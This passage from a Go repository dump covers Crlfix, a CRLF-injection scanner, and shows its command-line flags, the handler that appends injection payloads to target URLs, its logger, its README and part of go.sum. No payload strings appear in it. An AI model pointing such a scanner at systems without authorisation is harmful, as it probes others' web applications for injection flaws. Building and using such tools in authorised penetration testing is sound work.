26 | Timeouts int
27 | Randomagent bool
28 | Notify bool
29 | SlackURL string
30 | Ratelimit int
31 | Silent bool
32 | Delay int
33 | }
34 |
35 | var Opts = &Argsparser{}
36 | var rootCmd = &cobra.Command{
37 | Use: "crlfix",
38 | Run: func(cmd *cobra.Command, args []string) {
39 | },
40 | }
41 |
42 | func customHelp(cmd *cobra.Command, args []string) {
43 | helpMessage := help.Helper()
44 | fmt.Println(helpMessage)
45 | os.Exit(0)
46 | }
47 |
48 | func Execute() Argsparser {
49 | err := rootCmd.Execute()
50 | if err != nil {
51 | return Argsparser{Exceptions: err}
52 | }
53 | if !rootCmd.Flags().Changed("config") {
54 | defaultconfig, err := config.GetConfig()
55 | if err != nil {
56 | Opts.Config = ""
57 | } else {
58 | Opts.Config = defaultconfig
59 | }
60 | }
61 | return *Opts
62 | }
63 |
64 | func init() {
65 | rootCmd.SetHelpFunc(customHelp)
66 |
67 | rootCmd.SetUsageFunc(func(cmd *cobra.Command) error {
68 | customHelp(cmd, nil)
69 | return nil
70 | })
71 |
72 | rootCmd.Flags().StringVarP(&Opts.Url, "url", "u", "", "url for making http request and print response code and others")
73 | rootCmd.Flags().StringVarP(&Opts.List, "list", "l", "", "file that contains urls")
74 | rootCmd.Flags().BoolVarP(&Opts.Verbose, "verbose", "v", false, "Verbose to print failed request errors and reason")
75 | rootCmd.Flags().IntVarP(&Opts.Concurrency, "concurrency", "c", 10, "Concurrency")
76 | rootCmd.Flags().StringSliceVarP(&Opts.Headers, "headers", "H", nil, "Headers to pass")
77 | rootCmd.Flags().StringVarP(&Opts.Method, "method", "X", "get", "Request method")
78 | rootCmd.Flags().StringVarP(&Opts.Config, "config", "C", "", "config-file path")
79 | rootCmd.Flags().StringVarP(&Opts.Output, "save", "O", "", "output file to write output")
80 | rootCmd.Flags().StringVarP(&Opts.Proxy, "proxy", "p", "", "proxy url")
81 | rootCmd.Flags().BoolVarP(&Opts.Redirect, "follow-redirect", "r", false, "Verbose to print failed request errors and reason")
82 | rootCmd.Flags().IntVarP(&Opts.Maxr, "max-redirect", "M", 20, "Max redirections to follow")
83 | rootCmd.Flags().IntVarP(&Opts.Timeouts, "timeout", "T", 20, "Max Timeout for requests")
84 | rootCmd.Flags().BoolVarP(&Opts.Randomagent, "random-agent", "R", false, "Random User agents for requests")
85 | rootCmd.Flags().BoolVarP(&Opts.Notify, "notify", "N", false, "Notification if crlf injection found")
86 | rootCmd.Flags().IntVarP(&Opts.Ratelimit, "rate-limit", "L", 150, "Specify the ratelimit for concurrent request")
87 | rootCmd.Flags().IntVarP(&Opts.Delay, "delay", "D", 0, "Specify the delay between each request")
88 | rootCmd.Flags().BoolVarP(&Opts.Silent, "silent", "s", false, "Enable to disable banner and version logging")
89 |
90 | }
--------------------------------------------------------------------------------
/crlfix/modules/handler.go:
--------------------------------------------------------------------------------
1 | package handler
2 |
3 | import (
4 | "bufio"
5 | "fmt"
6 | "net/http"
7 | "os"
8 | "strings"
9 | "sync"
10 |
11 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/banner"
12 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/cli"
13 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/client"
14 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/config"
15 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/logger"
16 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/payloads"
17 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/reader"
18 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/scanner"
19 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/utils"
20 | "github.com/RevoltSecurities/Crlfix/crlfix/modules/gitversion"
21 | "golang.org/x/sync/semaphore"
22 | )
23 |
24 | var (
25 | wg = sync.WaitGroup{}
26 | sem *semaphore.Weighted
27 | lock sync.Mutex
28 | V = "v1.0.0"
29 | )
30 |
31 | func Version(){
32 | git, err := gitversion.GitVersion()
33 | if err != nil{
34 | logger.Stdlogger(fmt.Sprint("Unable to get the latest version of the crlfix"), "warn")
35 | }else{
36 | if git == V {
37 | logger.Vlogger("latest", "crlfix", V)
38 | }else{
39 | logger.Vlogger("outdated", "crlfix", V)
40 | }
41 | }
42 |
43 | }
44 |
45 | func Init() {
46 |
47 | args := cli.Execute()
48 |
49 | if !args.Silent {
50 | fmt.Fprintf(os.Stderr, "%s", banner.BannerGenerator("crlfix"))
51 | fmt.Fprintf(os.Stderr, "\n - %s", logger.Bolder("Revoltsecurities"))
52 | fmt.Println("\n")
53 | Version()
54 | }
55 |
56 | logger.Stdlogger(fmt.Sprintf("Loading configuration file from %s", args.Config), "info")
57 |
58 | sem = semaphore.NewWeighted(int64(args.Concurrency))
59 | Payloads := payloads.Payloads()
60 | httpx, err := client.HttpxClient()
61 | if err != nil {
62 | logger.Logger(fmt.Sprintf("Exception occured in the building http client due to: %s", err.Error()), "error")
63 | os.Exit(1)
64 | }
65 |
66 | if args.Output != "" {
67 | ok,err := utils.IsPermission(args.Output)
68 | if err != nil && !ok{
69 | logger.Stdlogger(fmt.Sprintf("error occured in checking file permission due to: %s", err.Error()), "warn")
70 | os.Exit(1)
71 | }
72 | }
73 |
74 | if args.Notify {
75 | cfg, err := config.SetConfig(args.Config)
76 | if err != nil {
77 | if args.Verbose {
78 | logger.Logger(fmt.Sprintf("Unable to load configurations due to: %s", err.Error()), "warn")
79 | }
80 | args.SlackURL = ""
81 | return
82 | }
83 |
84 | randurl, err := cfg.GetRandomKey()
85 | if err != nil {
86 | if args.Verbose {
87 | logger.Logger(fmt.Sprintf("Unable to retrieve random Slack URL: %s", err.Error()), "warn")
88 | }
89 | args.SlackURL = ""
90 | }
91 |
92 | args.SlackURL = randurl
93 | } else {
94 | args.SlackURL = ""
95 | }
96 |
97 | if args.Url != "" {
98 | Start(args.Url, httpx, args, Payloads)
99 | os.Exit(0)
100 | }
101 |
102 | if args.List != "" {
103 | urls, err := reader.Reader(args.List)
104 | if err != nil {
105 | logger.Stdlogger(fmt.Sprintf("Exception occured in reading %s due to: %s", args.List, err.Error()), "error")
106 | os.Exit(1)
107 | }
108 | for _, url := range urls {
109 | Start(url, httpx, args, Payloads)
110 | }
111 | os.Exit(0)
112 | }
113 |
114 | if !utils.IsStdin() {
115 | logger.Stdlogger("no input passed to crlfix, please use crlfix -h for more information\n", "warn")
116 | os.Exit(1)
117 | } else {
118 | scanned := bufio.NewScanner(os.Stdin)
119 | for scanned.Scan() {
120 | url := scanned.Text()
121 | url = strings.TrimSpace(url)
122 | if url != ""{
123 | Start(url, httpx, args, Payloads)
124 | }
125 | }
126 | os.Exit(0)
127 | }
128 |
129 | }
130 |
131 | func Start(url string, httpx *http.Client, args cli.Argsparser, payloads []string) {
132 | var urls []string
133 | for _, payload := range payloads {
134 |
135 | u, err := utils.Pathadder(url, payload)
136 | if err != nil {
137 | continue
138 | }
139 | urls = append(urls, u)
140 | }
141 | scanner.Scanner(url, urls, httpx, args, &lock, sem, &wg)
142 | }
143 |
--------------------------------------------------------------------------------
/crlfix/modules/logger/logger.go:
--------------------------------------------------------------------------------
1 | package logger
2 |
3 | import (
4 | "fmt"
5 | "os"
6 |
7 | "github.com/logrusorgru/aurora/v4"
8 | )
9 |
10 | const (
11 | tcl = "\r\x1b[2K"
12 | )
13 |
14 | func Logger(message string, level string) { //used for mostly helps and logs before executions
15 | var leveler aurora.Value
16 | if level == "info" {
17 | leveler = aurora.Bold(aurora.Blue("INFO"))
18 | } else if level == "warn" {
19 | leveler = aurora.Bold(aurora.Yellow("WRN"))
20 | } else if level == "verbose" {
21 | leveler = aurora.Bold(aurora.Green("VERBOSE"))
22 | } else if level == "error" {
23 | leveler = aurora.Bold(aurora.Red("ERROR"))
24 |
25 | } else {
26 | leveler = aurora.Bold(aurora.Blue(level))
27 | }
28 | formatted := fmt.Sprintf("%s%s%s %s\n",
29 | aurora.Bold(aurora.White("[")),
30 | leveler,
31 | aurora.Bold(aurora.White("]: ")),
32 | aurora.Bold(aurora.White(message)),
33 | )
34 | fmt.Fprintf(os.Stderr, "%s", formatted)
35 | }
36 |
37 | func Bolder(message string) string {
38 | msg := fmt.Sprintf(`%s`, aurora.Bold(aurora.White(message)))
39 | return msg
40 | }
41 |
42 | func Loader(message string, level string) string {
43 | var leveler aurora.Value
44 | if level == "info" {
45 | leveler = aurora.Bold(aurora.Blue("INFO"))
46 | } else if level == "warn" {
47 | leveler = aurora.Bold(aurora.Red("WRN"))
48 | } else if level == "verbose" {
49 | leveler = aurora.Bold(aurora.Green("VERBOSE"))
50 | } else {
51 | leveler = aurora.Bold(aurora.Blue(level))
52 | }
53 | formatted := fmt.Sprintf("%s%s%s %s\n",
54 | aurora.Bold(aurora.White("[")),
55 | leveler,
56 | aurora.Bold(aurora.White("]: ")),
57 | aurora.Bold(aurora.White(message)),
58 | )
59 | return formatted
60 | }
61 |
62 | func Stdlogger(message string, level string) { // used for after execution to log messages so doesn't interfere with progress bar
63 | if level == "info" {
64 | fmt.Fprintf(os.Stderr, "%s", tcl)
65 | fmt.Fprintf(os.Stderr, "%s%s%s%s%s\n", tcl, aurora.Bold(aurora.White("[")), aurora.Bold(aurora.Blue("INFO")), aurora.Bold(aurora.White("]: ")), aurora.Bold(aurora.White(message)))
66 | } else if level == "warn" {
67 | fmt.Fprintf(os.Stderr, "%s", tcl)
68 | fmt.Fprintf(os.Stderr, "%s%s%s%s%s\n", tcl, aurora.Bold(aurora.White("[")), aurora.Bold(aurora.Red("WRN")), aurora.Bold(aurora.White("]: ")), aurora.Bold(aurora.White(message)))
69 | } else if level == "error" {
70 | fmt.Fprintf(os.Stderr, "%s", tcl)
71 | fmt.Fprintf(os.Stderr, "%s%s%s%s%s\n", tcl, aurora.Bold(aurora.White("[")), aurora.Bold(aurora.Red("ERR")), aurora.Bold(aurora.White("]: ")), aurora.Bold(aurora.White(message)))
72 | } else if level == "vuln" {
73 | fmt.Fprintf(os.Stderr, "%s", tcl)
74 | fmt.Fprintf(os.Stderr, "%s%s%s%s%s\n", tcl, aurora.Bold(aurora.White("[")), aurora.Bold(aurora.Green("VULN")), aurora.Bold(aurora.White("]: ")), aurora.Bold(aurora.White(message)))
75 | } else {
76 | fmt.Fprintf(os.Stderr, "%s", tcl)
77 | fmt.Fprintf(os.Stderr, "%s%s%s%s%s\n", tcl, aurora.Bold(aurora.White("[")), aurora.Bold(aurora.Blue(level)), aurora.Bold(aurora.White("]: ")), aurora.Bold(aurora.White(message)))
78 | }
79 | }
80 |
81 | func Vlogger(level string, toolname string, version string) {
82 | if level == "latest" {
83 | fmt.Fprintf(os.Stderr, "%s%s%s%s%s%s\n",
84 | aurora.Bold(aurora.White("[")),
85 | aurora.Bold(aurora.Blue("Version")),
86 | aurora.Bold(aurora.White("]: ")),
87 | aurora.Bold(aurora.White(fmt.Sprintf("%s current version %s (", toolname, version))),
88 | aurora.Bold(aurora.Green("latest")),
89 | aurora.Bold(aurora.White(")")),
90 | )
91 | } else {
92 | fmt.Fprintf(os.Stderr, "%s%s%s%s%s%s\n",
93 | aurora.Bold(aurora.White("[")),
94 | aurora.Bold(aurora.Blue("Version")),
95 | aurora.Bold(aurora.White("]: ")),
96 | aurora.Bold(aurora.White(fmt.Sprintf("%s current version %s (", toolname, version))),
97 | aurora.Bold(aurora.Red("outdated")),
98 | aurora.Bold(aurora.White(")")),
99 | )
100 | }
101 | }
102 |
103 | func Bannerizer(banner string, color string) aurora.Value {
104 | if color == "blue" {
105 | return aurora.Bold(aurora.Blue(banner))
106 | } else if color == "white" {
107 | return aurora.Bold(aurora.White(banner))
108 | } else if color == "magenta" {
109 | return aurora.Bold(aurora.Magenta(banner))
110 | } else if color == "green" {
111 | return aurora.Bold(aurora.Green(banner))
112 | } else if color == "cyan" {
113 | return aurora.Bold(aurora.Cyan(banner))
114 | } else {
115 | return aurora.Bold(aurora.Blue(banner))
116 | }
117 | }
118 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Crlfix - An accurate and concurrent CRLF Injection Vulnerability Scanner
2 |
3 | **Fast, Accurate, and Concurrent CRLF Injection Scanner**
4 |
5 |   [](https://github.com/RevoltSecurities/Crlfix/blob/main/LICENSE)
6 |
7 | ## Overview:
8 | Crlfix is an advanced CRLF injection vulnerability scanner designed for penetration testers and security researchers. It efficiently detects CRLF injection points in web applications while offering high concurrency and customization options.
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 | ## Features:
17 |
18 | ✅ **Accurate Scanning** – Detects CRLF injection points effectively.
19 | ✅ **High Concurrency** – Supports multiple concurrent scans with adjustable rate limits.
20 | ✅ **Custom Headers & Configuration** – Allows setting HTTP headers and custom configurations.
21 | ✅ **Proxy Support** – Enables scanning through proxies for anonymity.
22 | ✅ **Optimized Performance** – Adjustable timeout, delay, and random User-Agent support.
23 | ✅ **Notification System** – Alerts when a CRLF injection is detected.
24 | ✅ **Input Flexibility** – Supports single URLs, list files, and stdin/stdout input.
25 |
26 | ## Installation:
27 |
28 | ### Using Go:
29 | ```sh
30 | go install -v github.com/RevoltSecurities/Crlfix/crlfix@latest
31 | ```
32 |
33 | ### Manual Installation
34 | 1. Clone the repository:
35 | ```sh
36 | git clone https://github.com/RevoltSecurities/Crlfix.git && cd Crlfix
37 | ```
38 | 2. Build the binary:
39 | ```sh
40 | go build -o crlfix
41 | ```
42 | 3. Run the tool:
43 | ```sh
44 | ./crlfix -h
45 | ```
46 |
47 | ## Usage:
48 |
49 | ```sh
50 | crlfix -h
51 | ```
52 |
53 | ```yaml
54 |
55 | | _| _) \ \ /
56 | __| __| | | | \ /
57 | ( | | __| | \
58 | \___| _| _| _| _| _/\_\
59 |
60 |
61 | - RevoltSecurities
62 |
63 | [DESCRIPTION]: An accurate and concurrent CRLF injection scanner
64 |
65 |
66 | [USAGE]:
67 |
68 | crlfix [flags]
69 |
70 | [FLAGS]:
71 |
72 |
73 | [INPUT]:
74 |
75 | -u, --url : Target URL for CRLF injection scan
76 | -l, --list : File containing a list of URLs for CRLF injection scan
77 | stdin/stdout : crlfix also supports stdin/stdout for URL input/output.
78 |
79 | [OUTPUT]:
80 |
81 | -O, --save : File to save the results of the scan.
82 |
83 | [CONCURRENCY]:
84 |
85 | -c, --concurrency : Set concurrency level (default: 10).
86 | -L, --rate-limit : Specify the rate limit for concurrent requests.
87 |
88 | [OPTIMIZATION]:
89 |
90 | -T, --timeout : Maximum timeout for requests (default: 20 seconds).
91 | -D, --delay : Delay (in milliseconds) between each request.
92 | -R, --random-agent : Use random User-Agent headers for requests.
93 |
94 | [CONFIGURATION]:
95 |
96 | -C, --config : Path to the custom configuration file of crlfix.
97 | -H, --headers : Headers to include in the HTTP requests (e.g., -H cookie:values, -H X-Orgin-Host:127.0.0.1).
98 |
99 | [NETWORK]:
100 |
101 | -p, --proxy : Proxy URL for requests.
102 | -r, --follow-redirect : Follow HTTP redirections (default: false).
103 | -M, --max-redirect : Maximum number of redirects to follow (default: 20).
104 |
105 | [NOTIFICATIONS]:
106 |
107 | -N, --notify : Enable notifications if CRLF injection is found.
108 |
109 | [DEBUGGING]:
110 |
111 | -v, --verbose : Print errors and reasons for failed requests and other informations.
112 | -s, --silent : Disable banner and version logging.
113 | ```
114 |
115 | ### Basic Scan
116 | Scan a single URL for CRLF injection:
117 | ```sh
118 | crlfix -u https://example.com
119 | ```
120 | ### Scanning Multiple URLs
121 | Provide a file containing multiple URLs:
122 | ```sh
123 | crlfix -l urls.txt
124 | ```
125 | ### Using stdin/stdout
126 | ```sh
127 | cat urls.txt | crlfix
128 | ```
129 | ### Adjusting Concurrency
130 | ```sh
131 | crlfix -u https://example.com -c 20
132 | ```
133 | ### Using Proxy
134 | ```sh
135 | crlfix -u https://example.com -p http://127.0.0.1:8080
136 | ```
137 | ### Custom Headers
138 | ```sh
139 | crlfix -u https://example.com -H "X-Forwarded-For: 127.0.0.1"
140 | ```
141 | ### Saving Output
142 | ```sh
143 | crlfix -u https://example.com -O results.txt
144 | ```
145 |
146 | ## Security
147 | Crlfix is built for ethical hacking and security testing. It is designed to **not cause harm** and should only be used with **proper authorization**. The tool does not exploit vulnerabilities but identifies potential risks for remediation.
148 |
149 | ## License
150 | Crlfix is open-source and released under the [MIT License](https://github.com/RevoltSecurities/Crlfix/blob/main/LICENSE).
151 |
152 | ### About:
153 |
154 | The **Crlfix** is a cutting-edge CRLF injection vulnerability scanner developed by **RevoltSecurities** to empower Security Researchers and Penetration Testers. Designed for speed, accuracy, and efficiency, Crlfix automates the detection of CRLF injection vulnerabilities, making security assessments more effective. Released under the MIT License, it reflects our commitment to fostering innovation and collaboration within the open-source community.
155 |
156 | At **RevoltSecurities**, we strive to equip researchers with advanced automation tools that simplify complex security testing, enabling professionals to focus on securing modern web applications and infrastructures.
157 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
2 | cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
3 | cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=
4 | cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=
5 | cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
6 | cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=
7 | cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=
8 | cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To=
9 | cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4=
10 | cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M=
11 | cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc=
12 | cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk=
13 | cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs=
14 | cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc=
15 | cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY=
16 | cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=
17 | cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE=
18 | cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc=
19 | cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg=
20 | cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc=
21 | cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=
22 | cloud.google.com/go/compute/metadata v0.2.0/go.mod h1:zFmK7XCadkQkj6TtorcaGlCW1hT1fIilQDwofLpJ20k=
23 | cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
24 | cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=
25 | cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
26 | cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=
27 | cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=
28 | cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU=
29 | cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
30 | cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos=
31 | cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk=
32 | cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs=
33 | cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=
34 | dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
35 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
36 | github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
37 | github.com/EDDYCJY/fake-useragent v0.2.0 h1:Jcnkk2bgXmDpX0z+ELlUErTkoLb/mxFBNd2YdcpvJBs=
38 | github.com/EDDYCJY/fake-useragent v0.2.0/go.mod h1:5wn3zzlDxhKW6NYknushqinPcAqZcAPHy8lLczCdJdc=
39 | github.com/PuerkitoBio/goquery v1.10.1 h1:Y8JGYUkXWTGRB6Ars3+j3kN0xg1YqqlwvdTV8WTFQcU=
40 | github.com/PuerkitoBio/goquery v1.10.1/go.mod h1:IYiHrOMps66ag56LEH7QYDDupKXyo5A8qrjIx3ZtujY=
41 | github.com/RumbleDiscovery/rumble-tools v0.0.0-20201105153123-f2adbb3244d2/go.mod h1:jD2+mU+E2SZUuAOHZvZj4xP4frlOo+N/YrXDvASFhkE=
42 | github.com/alecthomas/kingpin/v2 v2.3.1/go.mod h1:oYL5vtsvEHZGHxU7DMp32Dvx+qL+ptGn6lWaot2vCNE=
43 | github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
44 | github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
45 | github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
46 | github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
47 | github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho=
48 | github.com/alecthomas/units v0.0.0-20211218093645-b94a6e3cc137/go.mod h1:OMCwj8VM1Kc9e19TLln2VL61YJF0x1XFtfdL4JdbSyE=
49 | github.com/andybalholm/cascadia v1.3.3 h1:AG2YHrzJIm4BZ19iwJ/DAua6Btl3IwJX+VI4kktS1LM=
50 | github.com/andybalholm/cascadia v1.3.3/go.mod h1:xNd9bqTn98Ln4DwST8/nG+H0yuB8Hmgu1YHNnWw0GeA=
51 | github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
52 | github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
53 | github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
54 | github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
55 | github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
56 | github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
57 | github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
58 | github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44=
59 | github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
60 | github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
61 | github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
62 | github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
63 | github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
64 | github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
65 | github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be h1:J5BL2kskAlV9ckgEsNQXscjIaLiOYiZ75d4e94E6dcQ=
66 | github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be/go.mod h1:mk5IQ+Y0ZeO87b858TlA645sVcEcbiX6YqP98kt+7+w=
67 | github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
68 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
69 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
70 | github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
71 | github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
72 | github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
73 | github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
74 | github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
75 | github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
76 | github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
77 | github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
78 | github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
79 | github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY=
80 | github.com/go-kit/log v0.2.0/go.mod h1:NwTd00d/i8cPZ3xOwwiv2PO5MOcx78fFErGNcVmBjv0=
81 | github.com/go-kit/log v0.2.1/go.mod h1:NwTd00d/i8cPZ3xOwwiv2PO5MOcx78fFErGNcVmBjv0=
82 | github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
83 | github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
84 | github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
85 | github.com/go-logfmt/logfmt v0.5.1/go.mod h1:WYhtIu8zTZfxdn5+rREduYbwxfcBr/Vr6KEVveWlfTs=
